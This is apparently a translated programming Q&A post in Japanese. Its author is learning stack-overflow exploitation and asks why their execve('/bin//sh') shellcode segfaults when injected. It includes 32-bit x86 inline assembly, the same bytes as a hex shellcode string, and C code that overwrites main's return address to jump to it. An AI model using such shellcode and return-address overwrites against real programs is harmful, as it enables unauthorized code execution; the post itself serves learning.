スタック オーバーフロー攻撃がどのように機能するかを理解しようとしています。これまでのところ、戻りアドレスを元のコード内の命令に正常にリダイレクトできます。アセンブリでシェルコードランチャーを作成し、ac プログラム内で動作させました。gdb を使用したデバッグで、シェルコード ランチャーを表す 16 進数を取得し、c プログラムは正常に動作しました。しかし、この 16 進文字列を別のプログラムに挿入しようとすると、セグメンテーション エラーが発生します。戻りアドレスをトレースすると、プログラムが終了する前に 16 進文字列を指すように正常に設定されていることがわかりました。スナップショットは手順を示しています。同じコードがアセンブリでシェルを作成でき、メイン関数の戻りアドレスが sc (新しいシェルを作成する文字列) を指すように設定されているという事実を考えると、インジェクションが機能しない理由を理解できません。
#include <stdio.h>
void main(){
asm(
"xorl %eax,%eax;"
"pushl %eax;"
"pushl $0x68732f2f;"
"pushl $0x6e69622f;"
"movl %esp,%ebx;"
"pushl %eax;"
"pushl %ebx;"
"movl %esp,%ecx;"
"movl %eax,%edx;"
"movb $0x0b,%al;"
"int $0x80;"
);
}
アセンブリを含む上記の c コードをコンパイルして実行すると、完全に正常に実行されます。gdb を使用して上記の c プログラムの asm コードの 16 進数を取得し、次のスタック スマッシュ コードを生成しました。
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1"
"\x89\xc2\xb0\x0b\xcd\x80";
void main(){
int *ret;
ret=(int *)&ret+2;
(*ret)=(int)sc;
}
コードを実行すると、次のエラーが発生します。プログラム受信信号 SIGSEGV、セグメンテーション違反。0x0804a01c in sc ()